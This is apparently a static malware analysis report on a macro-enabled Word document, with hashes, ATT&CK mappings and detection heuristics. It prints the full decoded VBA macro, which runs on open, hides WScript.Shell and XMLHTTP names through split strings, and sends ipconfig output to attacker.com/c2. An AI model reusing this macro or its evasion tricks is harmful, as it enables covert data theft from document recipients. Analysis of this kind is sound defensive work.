Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 ac2551be6681c54f…

MALICIOUS

Office (OOXML) / .DOCX

17.4 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-24
MD5: 3e6643eff8ce28e8d3b3022df6350936 SHA-1: 1eba91ccdc14bf7bb6d7d6a1d7be4636ef3ed108 SHA-256: ac2551be6681c54f2b87cdc34f266438d2b1cc83a35043a9f2bfa8befd5973d2
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1071.001 Web Protocols

The sample contains a VBA macro that executes upon opening the document. This macro uses obfuscated string concatenation to create instances of 'WScript.Shell' and 'MSXML2.XMLHTTP' objects. It then executes 'ipconfig' and sends the output to the hardcoded URL 'attacker.com/c2', likely to download and execute a second-stage payload.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim shell As Object
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Dim shell As Object
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set shell = CreateObject("WSc" & "ript" & ".Sh" & "ell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1138 bytes
SHA-256: 934fb541b53bda3287a5c7f7d688e57d9314737dfde26c49b1c8bb6d3ca0c202
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim shell As Object
    Dim http As Object
    Dim url As String
    Dim cmdOutput As String
    
    ' Create WScript.Shell object
    Set shell = CreateObject("WSc" & "ript" & ".Sh" & "ell")
    
    ' Execute ipconfig command and capture output
    cmdOutput = shell.Exec("i" & "pc" & "on" & "fig").StdOut.ReadAll
    
    ' Define the C2 server URL with the command output as a query parameter
    url = "h" & "t" & "t" & "p" & ":" & "/" & "/" & "a" & "t" & "t" & "a" & "c" & "k" & "e" & "r" & ".c" & "o" & "m" & "/c" & "2" & "?" & "d" & "a" & "t" & "a=" & cmdOutput
    
    ' Create MSXML2.XMLHTTP object
    Set http = CreateObject("MSX" & "ML2" & ".X" & "MLH" & "T" & "TP")
    
    ' Send the command output to the C2 server
    http.Open "G" & "E" & "T", url, False
    http.Send
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 8704 bytes
SHA-256: 560d0ecbc4e841275175c0ae6405b9420dbcd3c5ecbbc8be966997f1cd46f722